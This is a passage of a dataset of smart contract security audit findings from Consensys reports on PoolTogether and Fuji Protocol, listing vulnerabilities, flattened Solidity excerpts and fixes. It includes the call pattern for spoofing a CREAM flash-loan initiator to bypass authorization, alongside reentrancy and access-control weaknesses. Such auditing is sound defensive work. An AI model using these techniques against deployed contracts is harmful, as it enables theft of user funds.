(e.g. ERC20 compliant ERC777 or other ERC721/ERC20 extensions) as awards then one recipient may be able to block the payout for everyone by forcing a revert in the callback when accepting token awards use the callback to siphon gas, mint gas token, or similar activities potentially re-enter the PrizeStrategy contract in an attempt to manipulate the payout (e.g. by immediately withdrawing from the pool to manipulate the 2nd ticket.draw()) Examples code/pool/contracts/prize-strategy/PeriodicPrizeStrategy.sol:L252-L263 function _awardExternalErc721s(address winner) internal { address currentToken = externalErc721s.start(); while (currentToken != address(0) && currentToken != externalErc721s.end()) { uint256 balance = IERC721(currentToken).balanceOf(address(prizePool)); if (balance > 0) { prizePool.awardExternalERC721(winner, currentToken, externalErc721TokenIds[currentToken]); delete externalErc721TokenIds[currentToken]; currentToken = externalErc721s.next(currentToken); externalErc721s.clearAll(); Recommendation It is highly recommended to not allow tokens with callback functionality into the system. Document and/or implement safeguards that disallow the use of callback enabled tokens. Consider implementing means for the other winners to withdraw their share of the rewards independently from others. ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2020/11/pooltogether-lootbox-and-multiplewinners-strategy/"}, {"title": "5.8 PeriodicPrizeStrategy - unbounded external tokens linked list may be used to force a gas DoS ", "body": " Description The size of the linked list of ERC20/ERC721 token awards is not limited. This fact may be exploited by an administrative account by adding an excessive number of external token addresses. The winning user might want to claim their win by calling completeAward() which fails in one of the _distribute() -> _awardAllExternalTokens() -> _awardExternalErc20s/_awardExternalErc721s while loops if too many token addresses are configured and gas consumption hits the block gas limit (or it just gets too expensive for the user to call). Note: an admin can recover from this situation by removing items from the list. Examples code/pool/contracts/prize-strategy/PeriodicPrizeStrategy.sol:L436-L448 /// @notice Adds an external ERC20 token type as an additional prize that can be awarded /// @dev Only the Prize-Strategy owner/creator can assign external tokens, /// and they must be approved by the Prize-Pool /// @param _externalErc20 The address of an ERC20 token to be awarded function addExternalErc20Award(address _externalErc20) external onlyOwnerOrListener { _addExternalErc20Award(_externalErc20); function _addExternalErc20Award(address _externalErc20) internal { require(prizePool.canAwardExternal(_externalErc20), \"PeriodicPrizeStrategy/cannot-award-external\"); externalErc20s.addAddress(_externalErc20); emit ExternalErc20AwardAdded(_externalErc20); code/pool/contracts/utils/MappedSinglyLinkedList.sol:L46-L53 /// @param newAddress The address to shift to the front of the list function addAddress(Mapping storage self, address newAddress) internal { require(newAddress != SENTINEL && newAddress != address(0), \"Invalid address\"); require(self.addressMap[newAddress] == address(0), \"Already added\"); self.addressMap[newAddress] = self.addressMap[SENTINEL]; self.addressMap[SENTINEL] = newAddress; self.count = self.count + 1; awarding the tokens loops through the linked list of configured tokens code/pool/contracts/prize-strategy/PeriodicPrizeStrategy.sol:L248-L263 /// @notice Awards all external ERC721 tokens to the given user. /// The external tokens must be held by the PrizePool contract. /// @dev The list of ERC721s is reset after every award /// @param winner The user to transfer the tokens to function _awardExternalErc721s(address winner) internal { address currentToken = externalErc721s.start(); while (currentToken != address(0) && currentToken != externalErc721s.end()) { uint256 balance = IERC721(currentToken).balanceOf(address(prizePool)); if (balance > 0) { prizePool.awardExternalERC721(winner, currentToken, externalErc721TokenIds[currentToken]); delete externalErc721TokenIds[currentToken]; currentToken = externalErc721s.next(currentToken); externalErc721s.clearAll(); Recommendation Limit the number of tokens an admin can add. Consider implementing an interface that allows the user to claim tokens one-by-one or in user-configured batches. ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2020/11/pooltogether-lootbox-and-multiplewinners-strategy/"}, {"title": "5.9 MultipleWinners - setNumberOfWinners does not enforce count>0 ", "body": " Description The constructor of MultipleWinners enforces that the argument _numberOfWinners > 0 while setNumberOfWinners does not. A careless or malicious admin might set __numberOfWinners to zero to cause the distribute() method to throw and not pay out any winners. Examples enforced in the constructor code/pool/contracts/prize-strategy/multiple-winners/MultipleWinners.sol:L34-L34 require(_numberOfWinners > 0, \"MultipleWinners/num-gt-zero\"); not enforced when updating the value at a later stage code/pool/contracts/prize-strategy/multiple-winners/MultipleWinners.sol:L38-L42 function setNumberOfWinners(uint256 count) external onlyOwner { __numberOfWinners = count; emit NumberOfWinnersSet(count); Recommendation Require that numberOfWinners > 0. ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2020/11/pooltogether-lootbox-and-multiplewinners-strategy/"}, {"title": "5.10 LootBox - plunder should disallow plundering to address(0) ", "body": " Description Note: Depending on the token implementation, transfers may or may not revert if the toAddress == address(0), while burning the ETH will succeed. This might allow anyone to forcefully burn received ETH that would otherwise be available to the future beneficiary If the airdrop and transfer of LootBox ownership are not done within one transaction, this might open up a front-running window that allows a third party to burn air-dropped ETH before it can be claimed by the owner. consider one component issues the airdrop in one transaction (or block) and setting the owner in a later transaction (or block). The owner is unset for a short duration of time which might allow anyone to burn ETH held by the LootBox proxy instance. Examples plunder() receiving the owner of an ERC721.tokenId code/loot-box/contracts/LootBoxController.sol:L49-L56 function plunder( address erc721, uint256 tokenId, IERC20[] calldata erc20s, LootBox.WithdrawERC721[] calldata erc721s, LootBox.WithdrawERC1155[] calldata erc1155s ) external { address payable owner = payable(IERC721(erc721).ownerOf(tokenId)); The modified ERC721 returns address(0) if the owner is not known code/loot-box/contracts/external/openzeppelin/ERC721.sol:L102-L107 While withdraw[ERC20|ERC721|ERC1155] fail with to == address(0), transferEther() succeeds and burns the eth by sending it to address(0) @dev See {IERC721-ownerOf}. / function ownerOf(uint256 tokenId) public view override returns (address) { return _tokenOwners[tokenId]; While withdraw[ERC20|ERC721|ERC1155] fail with to == address(0), transferEther() succeeds and burns the eth by sending it to address(0) code/loot-box/contracts/LootBox.sol:L74-L84 function plunder( IERC20[] memory erc20, WithdrawERC721[] memory erc721, WithdrawERC1155[] memory erc1155, address payable to ) external { _withdrawERC20(erc20, to); _withdrawERC721(erc721, to); _withdrawERC1155(erc1155, to); transferEther(to, address(this).balance); Recommendation Require that the destination address to in plunder() and transferEther() is not address(0). ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2020/11/pooltogether-lootbox-and-multiplewinners-strategy/"}, {"title": "5.11 PeriodicPrizeStrategy - Inconsistent behavior between award-phase modifiers and view functions ", "body": " Description The logic in the canStartAward() function is inconsistent with that of the requireCanStartAward modifier, and the logic in the canCompleteAward() function is inconsistent with that of the requireCanCompleteAward modifier. Neither of these view functions appear to be used elsewhere in the codebase, but the similarities between the function names and the corresponding modifiers is highly misleading. Examples canStartAward() is inconsistent with requireCanStartAward code/pool/contracts/prize-strategy/PeriodicPrizeStrategy.sol:L377-L379 function canStartAward() external view returns (bool) { return _isPrizePeriodOver() && !isRngRequested(); code/pool/contracts/prize-strategy/PeriodicPrizeStrategy.sol:L575-L579 modifier requireCanStartAward() { require(_isPrizePeriodOver(), \"PeriodicPrizeStrategy/prize-period-not-over\"); require(!isRngRequested() || isRngTimedOut(), \"PeriodicPrizeStrategy/rng-already-requested\"); _; canCompleteAward() is inconsistent with requireCanCompleteAward code/pool/contracts/prize-strategy/PeriodicPrizeStrategy.sol:L383-L385 function canCompleteAward() external view returns (bool) { return isRngRequested() && isRngCompleted(); code/pool/contracts/prize-strategy/PeriodicPrizeStrategy.sol:L581-L586 modifier requireCanCompleteAward() { require(_isPrizePeriodOver(), \"PeriodicPrizeStrategy/prize-period-not-over\"); require(isRngRequested(), \"PeriodicPrizeStrategy/rng-not-requested\"); require(isRngCompleted(), \"PeriodicPrizeStrategy/rng-not-complete\"); _; Recommendation Make the logic consistent between the view functions and the modifiers of the same name or remove the functions. ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2020/11/pooltogether-lootbox-and-multiplewinners-strategy/"}, {"title": "5.12 MultipleWinners - Awards can be guaranteed with a set number of tickets ", "body": " Description Because additional award drawings are distributed at a constant interval in the SortitionSumTree by MultipleWinners._distribute(), any user that holds a number of tickets >= floor(totalSupply / __numberOfWinners) can guarantee at least one award regardless of the initial drawing. MultipleWinners._distribute(): code/pool/contracts/prize-strategy/multiple-winners/MultipleWinners.sol:L59-L65 uint256 ticketSplit = totalSupply.div(__numberOfWinners); uint256 nextRandom = randomNumber.add(ticketSplit); // the other winners receive their prizeShares for (uint256 winnerCount = 1; winnerCount < __numberOfWinners; winnerCount++) { winners[winnerCount] = ticket.draw(nextRandom); nextRandom = nextRandom.add(ticketSplit); Recommendation Do not distribute awards at fixed intervals from the initial drawing, but instead randomize the additional drawings as well. ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2020/11/pooltogether-lootbox-and-multiplewinners-strategy/"}, {"title": "5.13 MultipleWinners - Inconsistent behavior compared to SingleRandomWinner ", "body": " Description The MultipleWinners strategy carries out award distribution to the zero address if ticket.draw() returns address(0) (indicating an error condition) while SingleRandomWinner does not. Examples SingleRandomWinner silently skips award distribution if ticket.draw() returns address(0). code/pool/contracts/prize-strategy/single-random-winner/SingleRandomWinner.sol:L8-L17 contract SingleRandomWinner is PeriodicPrizeStrategy { function _distribute(uint256 randomNumber) internal override { uint256 prize = prizePool.captureAwardBalance(); address winner = ticket.draw(randomNumber); if (winner != address(0)) { _awardTickets(winner, prize); _awardAllExternalTokens(winner); MultipleWinners still attempts to distribute awards if ticket.draw() returns address(0). This may or may not succeed depending on the implementation of the tokens included in the externalErc20s and externalErc721s linked lists. code/pool/contracts/prize-strategy/multiple-winners/MultipleWinners.sol:L48-L57 function _distribute(uint256 randomNumber) internal override { uint256 prize = prizePool.captureAwardBalance(); // main winner gets all external tokens address mainWinner = ticket.draw(randomNumber); _awardAllExternalTokens(mainWinner); address[] memory winners = new address[](__numberOfWinners); winners[0] = mainWinner; Recommendation Implement consistent behavior. Avoid hiding error conditions and consider throwing an exception instead. ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2020/11/pooltogether-lootbox-and-multiplewinners-strategy/"}, {"title": "5.14 Initialize implementations for proxy contracts and protect initialization methods ", "body": " Description Any situation where the implementation of proxy contracts can be initialized by third parties should be avoided. This can be the case if the initialize function is unprotected or not initialized immediately after deployment. Since the implementation contract is not meant to be used directly without a proxy delegate-calling to it, it is recommended to protect the initialization method of the implementation by initializing on deployment. This affects all proxy implementations (the delegatecall target contract) deployed in the system. Examples The implementation for MultipleWinners is not initialized. Even though not directly used by the system it may be initialized by a third party. code/pool/contracts/prize-strategy/multiple-winners/MultipleWinnersProxyFactory.sol:L13-L15 constructor () public { instance = new MultipleWinners(); The deployed ERC721Contract is not initialized. code/loot-box/contracts/ERC721ControlledFactory.sol:L25-L29 constructor () public { erc721ControlledInstance = new ERC721Controlled(); erc721ControlledBytecode = MinimalProxyLibrary.minimalProxy(address(erc721ControlledInstance)); The deployed LootBox is not initialized. code/loot-box/contracts/LootBoxController.sol:L28-L31 constructor () public { lootBoxActionInstance = new LootBox(); lootBoxActionBytecode = MinimalProxyLibrary.minimalProxy(address(lootBoxActionInstance)); Recommendation Initialize unprotected implementation contracts in the implementation s constructor. Protect initialization methods from being called by unauthorized parties or ensure that deployment of the proxy and initialization is performed in the same transaction. ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2020/11/pooltogether-lootbox-and-multiplewinners-strategy/"}, {"title": "5.15 LootBox - transferEther should be internal ", "body": " Description LootBox.transferEther() can be internal as it is only called from LootBox.plunder() and the LootBox(proxy) instances are generally very short-living (created and destroyed within one transaction). Examples code/loot-box/contracts/LootBox.sol:L63-L67 function transferEther(address payable to, uint256 amount) public { to.transfer(amount); emit TransferredEther(to, amount); Recommendation Restrict transferEther() s visibility to internal. ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2020/11/pooltogether-lootbox-and-multiplewinners-strategy/"}, {"title": "5.16 LootBox - executeCalls can be misused to relay calls ", "body": " Description Note: allows non-value and value calls (deposits can be forces via selfdestruct) Examples code/loot-box/contracts/LootBox.sol:L52-L58 function executeCalls(Call[] calldata calls) external returns (bytes[] memory) { bytes[] memory response = new bytes[](calls.length); for (uint256 i = 0; i < calls.length; i++) { response[i] = _executeCall(calls[i].to, calls[i].value, calls[i].data); return response; Recommendation Restrict access to call forwarding functionality to trusted entities. Consider implementing the Ownable pattern allowing access to functionality to the owner only. ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2020/11/pooltogether-lootbox-and-multiplewinners-strategy/"}, {"title": "4.1 FlasherFTM - Unsolicited invocation of the callback (CREAM auth bypass) ", "body": " Description TL;DR: Anyone can call ICTokenFlashloan(crToken).flashLoan(address(FlasherFTM), address(FlasherFTM), info.amount, params) directly and pass validation checks in onFlashLoan(). This call forces it to accept unsolicited flash loans and execute the actions provided under the attacker s FlashLoan.Info. receiver.onFlashLoan(initiator, token, amount, ...) is called when receiving a flash loan. According to EIP-3156, the initiator is msg.sender so that one can use it to check if the call to receiver.onFlashLoan() was unsolicited or not. Third-party Flash Loan provider contracts are often upgradeable. For example, the Geist lending contract configured with this system is upgradeable. Upgradeable contracts bear the risk that one cannot assume that the contract is always running the same code. In the worst case, for example, a malicious proxy admin (leaked keys, insider, \u2026) could upgrade the contract and perform unsolicited calls with arbitrary data to Flash Loan consumers in an attempt to exploit them. It, therefore, is highly recommended to verify that flash loan callbacks in the system can only be called if the contract was calling out to the provider to provide a Flash Loan and that the conditions of the flash loan (returned data, amount) are correct. Not all Flash Loan providers implement EIP-3156 correctly. Cream Finance, for example, allows users to set an arbitrary initiator when requesting a flash loan. This deviates from EIP-3156 and was reported to the Cream development team as a security issue. Hence, anyone can spoof that initiator and potentially bypass authentication checks in the consumers receiver.onFlashLoan(). Depending on the third-party application consuming the flash loan is doing with the funds, the impact might range from medium to critical with funds at risk. For example, projects might assume that the flash loan always originates from their trusted components, e.g., because they use them to refinance switching funds between pools or protocols. Examples The FlasherFTM contract assumes that flash loans for the Flasher can only be initiated by authorized callers (isAuthorized) - for a reason - because it is vital that the FlashLoan.Info calldata info parameter only contains trusted data: code/contracts/fantom/flashloans/FlasherFTM.sol:L66-L79 /** @dev Routing Function for Flashloan Provider @param info: struct information for flashLoan @param _flashnum: integer identifier of flashloan provider / function initiateFlashloan(FlashLoan.Info calldata info, uint8 _flashnum) external isAuthorized override { if (_flashnum == 0) { _initiateGeistFlashLoan(info); } else if (_flashnum == 2) { _initiateCreamFlashLoan(info); } else { revert(Errors.VL_INVALID_FLASH_NUMBER); code/contracts/fantom/flashloans/FlasherFTM.sol:L46-L55 modifier isAuthorized() { require( msg.sender == _fujiAdmin.getController() || msg.sender == _fujiAdmin.getFliquidator() || msg.sender == owner(), Errors.VL_NOT_AUTHORIZED ); _; The Cream Flash Loan initiation code requests the flash loan via ICTokenFlashloan(crToken).flashLoan(receiver=address(this), initiator=address(this), ...): code/contracts/fantom/flashloans/FlasherFTM.sol:L144-L158 /** @dev Initiates an CreamFinance flashloan. @param info: data to be passed between functions executing flashloan logic / function _initiateCreamFlashLoan(FlashLoan.Info calldata info) internal { address crToken = info.asset == _FTM ? 0xd528697008aC67A21818751A5e3c58C8daE54696 : _crMappings.addressMapping(info.asset); // Prepara data for flashloan execution bytes memory params = abi.encode(info); // Initialize Instance of Cream crLendingContract ICTokenFlashloan(crToken).flashLoan(address(this), address(this), info.amount, params); contracts/CCollateralCapErc20.sol:L187 address initiator, code/contracts/fantom/flashloans/FlasherFTM.sol:L162-L175 Recommendation / function onFlashLoan( address sender, address underlying, uint256 amount, uint256 fee, bytes calldata params ) external override returns (bytes32) { // Check Msg. Sender is crToken Lending Contract // from IronBank because ETH on Cream cannot perform a flashloan address crToken = underlying == _WFTM ? 0xd528697008aC67A21818751A5e3c58C8daE54696 : _crMappings.addressMapping(underlying); require(msg.sender == crToken && address(this) == sender, Errors.VL_NOT_AUTHORIZED); Recommendation Cream Finance We ve reached out to the Cream developer team, who have confirmed the issue. They are planning to implement countermeasures. Our recommendation can be summarized as follows: Implement the EIP-3156 compliant version of flashLoan() with initiator hardcoded to msg.sender. FujiDAO (and other flash loan consumers) We recommend not assuming that FlashLoan.Info contains trusted or even validated data when a third-party flash loan provider provides it! Developers should ensure that the data received was provided when the flash loan was requested. The contract should reject unsolicited flash loans. In the scenario where a flash loan provider is exploited, the risk of an exploited trust relationship is less likely to spread to the rest of the system. The Cream initiator provided to the onFlashLoan() callback cannot be trusted until the Cream developers fix this issue. The initiator can easily be spoofed to perform unsolicited flash loans. We, therefore, suggest: Validate that the initiator value is the flashLoan() caller. This conforms to the standard and is hopefully how the Cream team is fixing this, and Ensure the implementation tracks its own calls to flashLoan() in a state-variable semaphore, i.e. store the flash loan data/hash in a temporary state-variable that is only set just before calling flashLoan() until being called back in onFlashLoan(). The received data can then be verified against the stored artifact. This is a safe way of authenticating and verifying callbacks. Values received from untrusted third parties should always be validated with the utmost scrutiny. Smart contract upgrades are risky, so we recommend implementing the means to pause certain flash loan providers. Ensure that flash loan handler functions should never re-enter the system. This provides additional security guarantees in case a flash loan provider gets breached. Note: The Fuji development team implemented a hotfix to prevent unsolicited calls from Cream by storing the hash(FlashLoan.info) in a state variable just before requesting the flash loan. Inside the onFlashLoan callback, this state is validated and cleared accordingly. An improvement to this hotfix would be, to check _paramsHash before any external calls are made and clear it right after validation at the beginning of the function. Additionally, hash==0x0 should be explicitly disallowed. By doing so, the check also serves as a reentrancy guard and helps further reduce the risk of a potentially malicious flash loan re-entering the function. ", "labels": ["Consensys", "Critical"], "html_url": "https://consensys.io/diligence/audits/2022/03/fuji-protocol/"}, {"title": "4.2 Lack of reentrancy protection in token interactions ", "body": " Description Therefore, it is crucial to strictly adhere to the checks-effects pattern and safeguard affected methods using a mutex. Examples code/contracts/fantom/libraries/LibUniversalERC20FTM.sol:L26-L40 function univTransfer( IERC20 token, address payable to, uint256 amount ) internal { if (amount > 0) { if (isFTM(token)) { (bool sent, ) = to.call{ value: amount }(\"\"); require(sent, \"Failed to send Ether\"); } else { token.safeTransfer(to, amount); withdraw is nonReentrant while paybackAndWithdraw is not, which appears to be inconsistent code/contracts/fantom/FujiVaultFTM.sol:L172-L182 /** @dev Paybacks the underlying asset and withdraws collateral in a single function call from activeProvider @param _paybackAmount: amount of underlying asset to be payback, pass -1 to pay full amount @param _collateralAmount: amount of collateral to be withdrawn, pass -1 to withdraw maximum amount / function paybackAndWithdraw(int256 _paybackAmount, int256 _collateralAmount) external payable { updateF1155Balances(); _internalPayback(_paybackAmount); _internalWithdraw(_collateralAmount); code/contracts/fantom/FujiVaultFTM.sol:L232-L241 /** @dev Paybacks Vault's type underlying to activeProvider - called by users @param _repayAmount: token amount of underlying to repay, or pass any 'negative number' to repay full ammount Emits a {Repay} event. / function payback(int256 _repayAmount) public payable override { updateF1155Balances(); _internalPayback(_repayAmount); depositAndBorrow is not nonReentrant while borrow() is which appears to be inconsistent code/contracts/fantom/FujiVaultFTM.sol:L161-L171 /** @dev Deposits collateral and borrows underlying in a single function call from activeProvider @param _collateralAmount: amount to be deposited @param _borrowAmount: amount to be borrowed / function depositAndBorrow(uint256 _collateralAmount, uint256 _borrowAmount) external payable { updateF1155Balances(); _internalDeposit(_collateralAmount); _internalBorrow(_borrowAmount); code/contracts/fantom/FujiVaultFTM.sol:L222-L230 /** @dev Borrows Vault's type underlying amount from activeProvider @param _borrowAmount: token amount of underlying to borrow Emits a {Borrow} event. / function borrow(uint256 _borrowAmount) public override nonReentrant { updateF1155Balances(); _internalBorrow(_borrowAmount); depositAndBorrow updateBalances internalDeposit -> ERC777(collateralAsset).safeTransferFrom() ---> calls back! ---callback:beforeTokenTransfer----> !! depositAndBorrow updateBalances internalDeposit --> ERC777.safeTransferFrom() <-- _deposit mint internalBorrow mint _borrow ERC777(borrowAsset).univTransfer(msg.sender) --> might call back <------------------------------- _deposit mint internalBorrow mint _borrow --> ERC777(borrowAsset).univTransfer(msg.sender) --> might call back <-- Recommendation Consider decorating methods that may call back to untrusted sources (i.e., native token transfers, callback token operations) as nonReentrant and strictly follow the checks-effects pattern for all contracts in the code-base. ", "labels": ["Consensys", "Major"], "html_url": "https://consensys.io/diligence/audits/2022/03/fuji-protocol/"}, {"title": "4.3 Lack of segregation of duties, excessive owner permissions, misleading authentication modifiers ", "body": " Descriptio In the FujiERC1155 contract, the onlyPermit modifier should not include owner. code/contracts/abstracts/fujiERC1155/F1155Manager.sol:L34-L37 modifier onlyPermit() { require(addrPermit[_msgSender()] || msg.sender == owner(), Errors.VL_NOT_AUTHORIZED); _; However, the owner can also wholly mess up accounting as they are permitted to call updateState(), which should only be callable by vaults: code/contracts/FujiERC1155.sol:L53-L59 function updateState(uint256 _assetID, uint256 newBalance) external override onlyPermit { uint256 total = totalSupply(_assetID); if (newBalance > 0 && total > 0 && newBalance > total) { uint256 newIndex = (indexes[_assetID] * newBalance) / total; indexes[_assetID] = uint128(newIndex); The same is true for FujiERC1155.{mint|mintBatch|burn|burnBatch|addInitializeAsset} unless there is a reason to allow owner to freely burn/mint/initialize tokens and updateState for borrowed assets to arbitrary values. FujiVault - owner is part of isAuthorized and can change the system out-of-band. controller does not implement means to call functions it has permissions to. Multiple methods in FujiVault are decorated with the access control isAuthorized that grants the owner and the currently configured controller access. The controller, however, does not implement any means to call some of the methods on the Vault. Furthermore, the owner is part of isAuthorized, too, and can switch out the debt-management token while one is already configured without any migration. This is likely to create an inconsistent state with the Vault, and no one will be able to withdraw their now non-existent token. code/contracts/fantom/FujiVaultFTM.sol:L65-L74 /** @dev Throws if caller is not the 'owner' or the '_controller' address stored in {FujiAdmin} / modifier isAuthorized() { require( msg.sender == owner() || msg.sender == _fujiAdmin.getController(), Errors.VL_NOT_AUTHORIZED ); _; The owner can call methods out of band, bypassing steps the contract system would enforce otherwise, e.g. controller calling setActiveProvider. It is assumed that setOracle, setFactor should probably be onlyOwner instead. code/contracts/fantom/FujiVaultFTM.sol:L354-L367 function setFujiERC1155(address _fujiERC1155) external isAuthorized { require(_fujiERC1155 != address(0), Errors.VL_ZERO_ADDR); fujiERC1155 = _fujiERC1155; vAssets.collateralID = IFujiERC1155(_fujiERC1155).addInitializeAsset( IFujiERC1155.AssetType.collateralToken, address(this) ); vAssets.borrowID = IFujiERC1155(_fujiERC1155).addInitializeAsset( IFujiERC1155.AssetType.debtToken, address(this) ); emit F1155Changed(_fujiERC1155); Note ensure that setProviders can only ever be set by a trusted entity or multi-sig as the Vault delegatecalls the provider logic (via VaultControlUpgradeable) and, hence, the provider has total control over the Vault storage! FliquidatorFTM - Unnecessary and confusing modifier FliquidatorFTM.isAuthorized The contract is already Claimable; therefore, use the already existing modifier Claimable.onlyOwner instead. code/contracts/fantom/FliquidatorFTM.sol:L86-L91 code/contracts/abstracts/claimable/Claimable.sol:L48-L51 / modifier isAuthorized() { require(msg.sender == owner(), Errors.VL_NOT_AUTHORIZED); _; code/contracts/abstracts/claimable/Claimable.sol:L48-L51 modifier onlyOwner() { require(_msgSender() == owner(), \"Ownable: caller is not the owner\"); _; Use Claimable.onlyOwner instead. FlasherFTM - owner should not be able to call initiateFlashloan directly; misleading comment. code/contracts/fantom/flashloans/FlasherFTM.sol:L42-L54 /** @dev Throws if caller is not 'owner'. / modifier isAuthorized() { require( msg.sender == _fujiAdmin.getController() || msg.sender == _fujiAdmin.getFliquidator() || msg.sender == owner(), Errors.VL_NOT_AUTHORIZED ); _; FujiERC1155 - All vaults have equal permission to mint/burn/initializeAssets for every vault All vaults need to be in the onlyPermit ACL whitelist. No additional checks enforce that the calling vault can only modify its token balances. Furthermore, FujiVaultFTM is upgradeable; thus, the contract logic may be altered to allow the vault to modify any other token id s balance. To reduce this risk and the potential of an exploited contract affecting other token balances in the system, it is suggested to change the coarse onlyPermit ACL to one that checks that the calling vault can only manage their token IDs. Recommendation Reconsider the authentication concept and make it more transparent. Segregate duties and clearly define roles and capabilities. Avoid having overly powerful actors and reduce their capabilities to the bare minimum needed to segregate risk. If an actor is part of an ACL in a third-party contract, they also should have the means to call that method in a controlled way or else remove them from the ACL. To avoid conveying a false sense of trust towards certain actors within the smart contract system, it is suggested to use the centralized onlyOwner decorator for methods only the owner can call. This more accurately depicts who can do what in the system and makes it easier to trust the project team managing it. Avoid excessively powerful owners that can change/mint/burn anything in the system as this is a risk for the general consistency. Remove owner from methods/modifiers they don t need to be part of/have access to. Ensure owner is a time-locked multi-sig or governance contract. Rename authentication modifiers to describe better what callers they allow. ", "labels": ["Consensys", "Major"], "html_url": "https://consensys.io/diligence/audits/2022/03/fuji-protocol/"}, {"title": "4.4 Unchecked Return Values - ICErc20 repayBorrow ", "body": " Description ICErc20.repayBorrow returns a non-zero uint on error. Multiple providers do not check for this error condition and might return success even though repayBorrow failed, returning an error code. This can potentially allow a malicious user to call paybackAndWithdraw() while not repaying by causing an error in the sub-call to Compound.repayBorrow(), which ends up being silently ignored. Due to the missing success condition check, execution continues normally with _internalWithdraw(). Also, see issue 4.5. code/contracts/interfaces/compound/ICErc20.sol:L11-L12 function repayBorrow(uint256 repayAmount) external returns (uint256); The method may return an error due to multiple reasons: contracts/CToken.sol:L808-L816 function repayBorrowInternal(uint repayAmount) internal nonReentrant returns (uint, uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but we still want to log the fact that an attempted borrow failed return (fail(Error(error), FailureInfo.REPAY_BORROW_ACCRUE_INTEREST_FAILED), 0); // repayBorrowFresh emits repay-borrow-specific logs on errors, so we don't need to return repayBorrowFresh(msg.sender, msg.sender, repayAmount); contracts/CToken.sol:L855-L873 if (allowed != 0) { return (failOpaque(Error.COMPTROLLER_REJECTION, FailureInfo.REPAY_BORROW_COMPTROLLER_REJECTION, allowed), 0); /* Verify market's block number equals current block number */ if (accrualBlockNumber != getBlockNumber()) { return (fail(Error.MARKET_NOT_FRESH, FailureInfo.REPAY_BORROW_FRESHNESS_CHECK), 0); RepayBorrowLocalVars memory vars; /* We remember the original borrowerIndex for verification purposes */ vars.borrowerIndex = accountBorrows[borrower].interestIndex; /* We fetch the amount the borrower owes, with accumulated interest */ (vars.mathErr, vars.accountBorrows) = borrowBalanceStoredInternal(borrower); if (vars.mathErr != MathError.NO_ERROR) { return (failOpaque(Error.MATH_ERROR, FailureInfo.REPAY_BORROW_ACCUMULATED_BALANCE_CALCULATION_FAILED, uint(vars.mathErr)), 0); Examples Multiple providers, here are some examples: code/contracts/fantom/providers/ProviderCream.sol:L168-L173 // Check there is enough balance to pay require(erc20token.balanceOf(address(this)) >= _amount, \"Not-enough-token\"); erc20token.univApprove(address(cyTokenAddr), _amount); cyToken.repayBorrow(_amount); code/contracts/fantom/providers/ProviderScream.sol:L170-L172 require(erc20token.balanceOf(address(this)) >= _amount, \"Not-enough-token\"); erc20token.univApprove(address(cyTokenAddr), _amount); cyToken.repayBorrow(_amount); code/contracts/mainnet/providers/ProviderCompound.sol:L139-L155 if (_isETH(_asset)) { // Create a reference to the corresponding cToken contract ICEth cToken = ICEth(cTokenAddr); cToken.repayBorrow{ value: msg.value }(); } else { // Create reference to the ERC20 contract IERC20 erc20token = IERC20(_asset); // Create a reference to the corresponding cToken contract ICErc20 cToken = ICErc20(cTokenAddr); // Check there is enough balance to pay require(erc20token.balanceOf(address(this)) >= _amount, \"Not-enough-token\"); erc20token.univApprove(address(cTokenAddr), _amount); cToken.repayBorrow(_amount); Recommendation Check for cyToken.repayBorrow(_amount) != 0 or Error.NO_ERROR. ", "labels": ["Consensys", "Major"], "html_url": "https://consensys.io/diligence/audits/2022/03/fuji-protocol/"}, {"title": "4.5 Unchecked Return Values - IComptroller exitMarket, enterMarket ", "body": " Description IComptroller.exitMarket(), IComptroller.enterMarkets() may return a non-zero uint on error but none of the Providers check for this error condition. Together with issue 4.10, this might suggest that unchecked return values may be a systemic problem. Here s the upstream implementation: contracts/Comptroller.sol:L179-L187 if (amountOwed != 0) { return fail(Error.NONZERO_BORROW_BALANCE, FailureInfo.EXIT_MARKET_BALANCE_OWED); /* Fail if the sender is not permitted to redeem all of their tokens */ uint allowed = redeemAllowedInternal(cTokenAddress, msg.sender, tokensHeld); if (allowed != 0) { return failOpaque(Error.REJECTION, FailureInfo.EXIT_MARKET_REJECTION, allowed); /** @notice Removes asset from sender's account liquidity calculation @dev Sender must not have an outstanding borrow balance in the asset, or be providing necessary collateral for an outstanding borrow. @param cTokenAddress The address of the asset to be removed @return Whether or not the account successfully exited the market / function exitMarket(address cTokenAddress) external returns (uint) { CToken cToken = CToken(cTokenAddress); /* Get sender tokensHeld and amountOwed underlying from the cToken */ (uint oErr, uint tokensHeld, uint amountOwed, ) = cToken.getAccountSnapshot(msg.sender); require(oErr == 0, \"exitMarket: getAccountSnapshot failed\"); // semi-opaque error code /* Fail if the sender has a borrow balance */ if (amountOwed != 0) { return fail(Error.NONZERO_BORROW_BALANCE, FailureInfo.EXIT_MARKET_BALANCE_OWED); /* Fail if the sender is not permitted to redeem all of their tokens */ uint allowed = redeemAllowedInternal(cTokenAddress, msg.sender, tokensHeld); if (allowed != 0) { return failOpaque(Error.REJECTION, FailureInfo.EXIT_MARKET_REJECTION, allowed); Examples Unchecked return value exitMarket All Providers exhibit the same issue, probably due to code reuse. (also see https://github.com/ConsenSysDiligence/fuji-protocol-audit-2022-02/issues/19). Some examples: code/contracts/fantom/providers/ProviderCream.sol:L52-L57 function _exitCollatMarket(address _cyTokenAddress) internal { // Create a reference to the corresponding network Comptroller IComptroller comptroller = IComptroller(_getComptrollerAddress()); comptroller.exitMarket(_cyTokenAddress); code/contracts/fantom/providers/ProviderScream.sol:L52-L57 function _exitCollatMarket(address _cyTokenAddress) internal { // Create a reference to the corresponding network Comptroller IComptroller comptroller = IComptroller(_getComptrollerAddress()); comptroller.exitMarket(_cyTokenAddress); code/contracts/mainnet/providers/ProviderCompound.sol:L46-L51 function _exitCollatMarket(address _cTokenAddress) internal { // Create a reference to the corresponding network 